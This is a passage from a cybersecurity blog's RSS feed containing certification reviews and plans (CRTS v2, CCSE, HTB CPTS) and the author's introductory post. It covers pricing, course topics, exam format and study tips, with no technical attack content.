<p>Given the <strong>cutting-edge topics covered</strong>, upgrading to <strong>CRTS v2</strong> was an easy decision—especially since past CRTS v1 holders were offered an <strong>upgrade for just $49</strong>!</p>
<hr>
<h3 id="my-future-plans">My Future Plans</h3>
<p>Once I complete the <strong>CRTS v2 exam</strong>, I will write an <strong>updated review</strong> comparing it to <strong>other cybersecurity certifications</strong> in terms of <strong>content depth</strong> and <strong>exam difficulty</strong>. Since the course has a strong <strong>Active Directory</strong> focus, I will also compare it to <strong>Altered Security’s</strong> <strong>CRTP</strong> and <strong>CRTE</strong>, which I have completed.</p>
<p>Interestingly, I recently read a <strong>blog post</strong> from one of my <strong>LinkedIn connections</strong>, where they compared <strong>CRTS v2 to OffSec’s OSEP</strong>. Given <strong>OSEP’s significantly higher price</strong>, this comparison makes CRTS v2 even more appealing. <em>(You can read about this article <a href="https://www.linkedin.com/pulse/certified-red-team-specialist-v2-crtsv2-feedback-bohdan-lukin--rshof" target="_blank" rel="noopener noreferrer">here</a>
)</em></p>
<p>Stay tuned for my <strong>CRTS v2 exam experience and final review!</strong></p>
]]></content></item><item><title>CCSE | Part 1</title><link>https://blog.redteamshell.com/posts/2025/03/ccse-part-1/</link><pubDate>Sat, 01 Mar 2025 16:25:32 -0500</pubDate><guid>https://blog.redteamshell.com/posts/2025/03/ccse-part-1/</guid><description>&lt;style>
.two-column-container {
display: flex;
align-items: center;
gap: 20px;
}
@media (max-width: 768px) {
.two-column-container {
flex-direction: column;
}
}
&lt;/style>
&lt;div class="two-column-container">
&lt;div style="flex: 1;">
&lt;img src="https://blog.redteamshell.com/images/CCSE-Badge-2.png" alt="Cybersecurity Image" style="max-width: 100%; height: auto;">
&lt;/div>
&lt;div style="flex: 1;">
The Certified Cyber Security Engineer (CCSE) is a comprehensive training program offered by Cyber Warfare Labs (CWL) that focuses on real-world penetration testing across 14 distinct domains. Participants gain access to over 50 online labs available 24/7 via the CWL Cyber Security Playground (CCSP). These labs provide hands-on experience with intentionally vulnerable virtual machines, allowing learners to practice market-oriented, practical penetration testing.
&lt;/div>
&lt;/div>
&lt;hr>
&lt;h3 id="my-journey-through-the-certified-cyber-security-engineer-ccse-course">My Journey Through the Certified Cyber Security Engineer (CCSE) Course&lt;/h3>
&lt;p>I recently embarked on the Certified Cyber Security Engineer (CCSE) course by Cyber Warfare Labs, with the goal of completing it and taking the exam by the end of April. While I haven’t completed the course yet, this blog post will document my journey, sharing my thoughts and insights along the way.&lt;/p></description><content type="html"><![CDATA[<style>
    .two-column-container {
        display: flex;
        align-items: center;
        gap: 20px;
    }
    @media (max-width: 768px) {
        .two-column-container {
            flex-direction: column;
        }
    }
  </style>
  
  <div class="two-column-container">
      <div style="flex: 1;">
          <img src="/images/CCSE-Badge-2.png" alt="Cybersecurity Image" style="max-width: 100%; height: auto;">
      </div>
      <div style="flex: 1;">
          

The Certified Cyber Security Engineer (CCSE) is a comprehensive training program offered by Cyber Warfare Labs (CWL) that focuses on real-world penetration testing across 14 distinct domains. Participants gain access to over 50 online labs available 24/7 via the CWL Cyber Security Playground (CCSP). These labs provide hands-on experience with intentionally vulnerable virtual machines, allowing learners to practice market-oriented, practical penetration testing.

      </div>
  </div>  
  
<hr>
<h3 id="my-journey-through-the-certified-cyber-security-engineer-ccse-course">My Journey Through the Certified Cyber Security Engineer (CCSE) Course</h3>
<p>I recently embarked on the Certified Cyber Security Engineer (CCSE) course by Cyber Warfare Labs, with the goal of completing it and taking the exam by the end of April. While I haven’t completed the course yet, this blog post will document my journey, sharing my thoughts and insights along the way.</p>
<hr>
<h3 id="why-i-chose-the-ccse-course">Why I Chose the CCSE Course</h3>
<p>The CCSE is a relatively new certification, but its content is incredibly up-to-date, covering almost every aspect of penetration testing. From external to internal penetration testing, the curriculum dives into essential topics such as:</p>
<ul>
<li><strong>Open-Source Intelligence (OSINT)</strong></li>
<li><strong>Phishing Infrastructure Setup &amp; Operations</strong></li>
<li><strong>Web Application Exploitation</strong></li>
<li><strong>Exploit Development</strong></li>
<li><strong>Cloud Penetration Testing</strong></li>
<li><strong>Active Directory Penetration Testing</strong></li>
<li><strong>WiFi Security</strong></li>
<li><strong>Mobile Application Exploitation</strong></li>
<li><strong>Docker Container Exploitation</strong></li>
<li><em>And many more!</em></li>
</ul>
<p>I was particularly drawn to this course because of its modern and hands-on approach, making it comparable to other well-known certifications such as the <strong>PNPT from TCM Security</strong>. Additionally, Cyber Warfare Labs frequently offers discounts, and I was able to purchase the course at a <strong>50% discount</strong>—an excellent deal for the wealth of knowledge and resources provided.</p>
<hr>
<h3 id="initial-impressions">Initial Impressions</h3>
<p>So far, I’ve been enjoying the content. The labs are hands-on and provide real-world scenarios, which I find essential for building practical skills. The course materials include extensive <strong>PDF guides</strong> and <strong>high-quality video lectures</strong> that make learning engaging and effective. I appreciate how the course covers a broad spectrum of penetration testing techniques, ensuring that learners gain experience across different domains.</p>
<p><img src="/images/CCSE-CW-Labs-Platform.png" alt="Profile Picture"></p>
<hr>
<h3 id="my-plan-moving-forward">My Plan Moving Forward</h3>
<p>As I continue progressing through the course, I plan to take detailed notes and document my experiences with each module. My goal is to complete all the labs, review the materials thoroughly, and be fully prepared to take the exam by the <strong>end of April</strong>.</p>
<p><img src="/images/CCSE-Certification-Procedure.png" alt="Profile Picture"></p>
<p>Once I complete the CCSE and earn my certification, I will write a follow-up blog post comparing it to the <strong>PNPT from TCM Security</strong>. This comparison will focus on:</p>
<ul>
<li><strong>Course structure</strong></li>
<li><strong>Hands-on labs</strong></li>
<li><strong>Exam difficulty</strong></li>
<li><strong>Overall value for cybersecurity professionals</strong></li>
</ul>
<hr>
<h3 id="stay-tuned">Stay Tuned!</h3>
<p>I’ll be updating my blog with my progress, insights, and final thoughts on the CCSE certification. If you&rsquo;re considering this course or are currently enrolled in it, I’d love to hear your thoughts! Let’s connect and share our experiences.</p>
]]></content></item><item><title>CPTS Review</title><link>https://blog.redteamshell.com/posts/2025/01/cpts-review/</link><pubDate>Sun, 26 Jan 2025 00:00:00 +0000</pubDate><guid>https://blog.redteamshell.com/posts/2025/01/cpts-review/</guid><description>&lt;p>&lt;img src="https://blog.redteamshell.com/images/CPTS_DONE2.png" alt="Profile Picture">&lt;/p>
&lt;h2 id="a-clear-overview-of-the-cpts-certification">A Clear Overview of the CPTS Certification&lt;/h2>
&lt;p>In this post, I’ll share my experience with the HTB Certified Penetration Testing Specialist (CPTS) certification. Whether you’re new to penetration testing or already familiar with CPTS, there’s something here for everyone.&lt;/p>
&lt;hr>
&lt;h3 id="what-is-penetration-testing">What is Penetration Testing?&lt;/h3>
&lt;p>Penetration testing, or pen testing, involves authorized simulated cyberattacks on systems and networks. The goal? To identify and fix vulnerabilities before hackers exploit them. As a pen tester, you’ll document your findings and create reports detailing your approach and results.&lt;/p></description><content type="html"><![CDATA[<p><img src="/images/CPTS_DONE2.png" alt="Profile Picture"></p>
<h2 id="a-clear-overview-of-the-cpts-certification">A Clear Overview of the CPTS Certification</h2>
<p>In this post, I’ll share my experience with the HTB Certified Penetration Testing Specialist (CPTS) certification. Whether you’re new to penetration testing or already familiar with CPTS, there’s something here for everyone.</p>
<hr>
<h3 id="what-is-penetration-testing">What is Penetration Testing?</h3>
<p>Penetration testing, or pen testing, involves authorized simulated cyberattacks on systems and networks. The goal? To identify and fix vulnerabilities before hackers exploit them. As a pen tester, you’ll document your findings and create reports detailing your approach and results.</p>
<hr>
<h3 id="what-is-cpts">What is CPTS?</h3>
<p><img src="/images/CPTS_Cover.png" alt="Cover"></p>
<p><strong>HTB Certified Penetration Testing Specialist (HTB CPTS)</strong> is a hands-on certification from HackTheBox that assesses intermediate-level penetration testing skills. It covers everything from reconnaissance to reporting, ensuring you’re equipped to perform real-world security assessments.</p>
<hr>
<h3 id="pricing-options">Pricing Options</h3>
<ul>
<li><strong>General Pricing</strong>: Training + exam voucher = <strong>$490</strong>.<br>
Alternatively, buy a standalone voucher for <strong>$210</strong> but you will also need a total of <strong>1970</strong> cubes to have access to all the modules in the path.</li>
<li><strong>Annual Subscription</strong>: Recommended for professionals, this gives access to all modules (up to Tier IV) and one exam voucher.</li>
<li><strong>Student Plan</strong>: At just <strong>$8/month</strong>, students can complete the program in ~4 months, totaling <strong>$242</strong> plus the exam voucher.</li>
</ul>
<hr>
<h3 id="training--exam-details">Training &amp; Exam Details</h3>
<p><img src="/images/CPTS_Path.jpg" alt="Profile Picture"></p>
<h4 id="role-path-overview"><strong>Role Path Overview</strong></h4>
<p>To attempt the exam, you must complete the <strong>Penetration Tester Job-Role Path</strong> on HackTheBox Academy. This path covers core concepts, tools, tactics, and methodologies, broken down into <strong>28 modules</strong>. Completion time varies, but it’s estimated at <strong>43 days</strong> of full-time effort (8 hours/day).</p>
<p><strong>Key advice</strong>:</p>
<ul>
<li><strong>Don’t rush.</strong> Take notes, revisit concepts, and repeat modules if necessary.</li>
<li><strong>Take breaks.</strong> Avoid burnout by pacing yourself.</li>
<li>Use HackTheBox’s Discord for community tips and hints when stuck.</li>
</ul>
<p>It took me <strong>3.5 months</strong> to complete this path while balancing work and life.</p>
<h4 id="extra-practice"><strong>Extra Practice</strong></h4>
<p>Even after completing the path, extra practice on HackTheBox main platform Prolabs can solidify your skills. I completed the Prolab <strong>OffShore</strong> and found it invaluable for refining my methodologies, although it was overkill since all you need is covered in the Penetration Tester job role path.</p>
<p><img src="/images/Offshore.png" alt="OffShore"></p>
<hr>
<h3 id="htb-cpts-exam-structure">HTB CPTS Exam Structure</h3>
<p>The <strong>Hack The Box Certified Penetration Testing Specialist (CPTS)</strong> exam is a <strong>fully hands-on</strong> assessment designed to evaluate a candidate’s ability to exploit vulnerabilities in a <strong>realistic enterprise environment</strong>.</p>
<hr>
<h3 id="key-features">Key Features</h3>
<h3 id="-practical-real-world-focus">🔹 Practical, Real-World Focus</h3>
<p>The exam requires candidates to identify and exploit security flaws in <strong>web applications, network services, and Active Directory</strong>, simulating real-world penetration testing scenarios.</p>
<h3 id="-extended-duration-for-comprehensive-testing">🔹 Extended Duration for Comprehensive Testing</h3>
<p>Unlike traditional time-constrained exams, the CPTS exam typically spans <strong>10 days</strong>. This allows candidates ample time to execute attacks, perform <strong>post-exploitation activities</strong>, and document their findings thoroughly.</p>
<h3 id="-professional-reporting-requirement">🔹 Professional Reporting Requirement</h3>
<p>A critical component of the exam is delivering a <strong>commercial grade detailed penetration testing report</strong>. Candidates must provide a structured analysis of their findings, including <strong>vulnerability descriptions, exploitation techniques, and recommended mitigations</strong>. The <strong>quality and clarity</strong> of the report play a significant role in passing the exam.</p>
<h3 id="-realistic-and-challenging-lab-environment">🔹 Realistic and Challenging Lab Environment</h3>
<p>Built within <strong>HTB’s advanced lab infrastructure</strong>, the CPTS exam mirrors the complexity of modern enterprise networks. The <strong>high level of realism</strong> ensures candidates face <strong>up-to-date security challenges</strong>, closely aligning with real-world penetration testing engagements.</p>
<hr>
<h3 id="the-exam-experience">The Exam Experience</h3>
<p>The CPTS exam involves:</p>
<ul>
<li>Black-box penetration testing on real-world Active Directory network hosted in HTB&rsquo;s infrastructure.</li>
<li>10 days to submit your findings.</li>
<li>A passing score of <strong>85 points (12 out of 14 flags)</strong>.</li>
</ul>
<p>This was <strong>the hardest exam</strong> I’ve taken so far. It took me two attempts, but I eventually scored <strong>13/14 flags</strong>. If you&rsquo;re active on HTB Discord you must heard of the infamous flag <strong>flag 9</strong> which was a real pain and took me few days to find, but perseverance is key.</p>
<p><img src="/images/Progress-Exam.png" alt="Progress Exam"></p>
<p><strong>Pro Tips:</strong></p>
<ul>
<li>Keep your approach simple.</li>
<li>Break challenges into smaller steps.</li>
<li>Stay calm and use all available resources.</li>
</ul>
<p>Waiting <strong>20 business days</strong> for the results is tough, but the joy of passing makes it all worthwhile.</p>
<p><img src="/images/CPTSCERT.png" alt="Profile Picture"></p>
<hr>
<h3 id="final-thoughts">Final Thoughts</h3>
<p>CPTS is not an entry-level certification like OSCP or PNPT—it’s a challenging but rewarding journey that sharpens your skills for professional penetration testing.
Totally recommended when it comes to content, pricing  and skills you will get out of it. Although not yet recognized at the same level as the OSCP which has been around for a decade, the CPTS is the cert that will give you the skills needed to get the job done.</p>
<p>On my next blog post I will go through a thorough comparison between the CPTS, OSCP and PNPT the <strong>Trifecta</strong> of pentesting certs.</p>
]]></content></item><item><title>Welcome to My Blog</title><link>https://blog.redteamshell.com/posts/2025/01/welcome-to-my-blog/</link><pubDate>Sat, 18 Jan 2025 00:00:00 +0000</pubDate><guid>https://blog.redteamshell.com/posts/2025/01/welcome-to-my-blog/</guid><description>&lt;p>I&amp;rsquo;m a novice security researcher who specializes in &lt;strong>penetration testing&lt;/strong>, &lt;strong>ethical hacking&lt;/strong>, and &lt;strong>red teaming&lt;/strong>. I created this blog to document what I&amp;rsquo;ve learned and share practical insights from my work in Cybersecurity.&lt;/p>
&lt;p>My path here wasn&amp;rsquo;t exactly traditional. I started out studying literature in secondary school, which taught me how to think critically and solve problems, skills that turned out to be surprisingly useful in cybersecurity. From there, I earned a Bachelor&amp;rsquo;s in Electronic Engineering and a Professional Diploma in Computer Engineering before completing a Micromasters in Cybersecurity through Rochester Institute of Technology.&lt;/p></description><content type="html"><![CDATA[<p>I&rsquo;m a novice security researcher who specializes in <strong>penetration testing</strong>, <strong>ethical hacking</strong>, and <strong>red teaming</strong>. I created this blog to document what I&rsquo;ve learned and share practical insights from my work in Cybersecurity.</p>
<p>My path here wasn&rsquo;t exactly traditional. I started out studying literature in secondary school, which taught me how to think critically and solve problems, skills that turned out to be surprisingly useful in cybersecurity. From there, I earned a Bachelor&rsquo;s in Electronic Engineering and a Professional Diploma in Computer Engineering before completing a Micromasters in Cybersecurity through Rochester Institute of Technology.</p>
<p>Along the way, I&rsquo;ve picked up certifications like <strong>OSCP, CPTS, PNPT, CWES(aka CBBH), CDSA, CRTE, CRTP, CRTS, CRTA, CCSE and CEH (Practical)</strong>. These aren&rsquo;t just letters after my name, they represent years of hands-on work and a commitment to keeping up with how rapidly this field changes.</p>
<p>I started my career in customer service, moved into IT support, and eventually landed in management. These days, I handle both offensive and defensive security, running our organization&rsquo;s penetration testing program while also thinking about how to defend against the same tactics I use to test our systems.</p>
<p>On this blog, you&rsquo;ll find my thoughts on cybersecurity challenges, certification reviews, and technical walkthroughs. I&rsquo;m here to share what&rsquo;s worked (and what hasn&rsquo;t) throughout my career. Feel free to look around and reach out if something resonates with you.</p>
]]></content></item></channel></rss>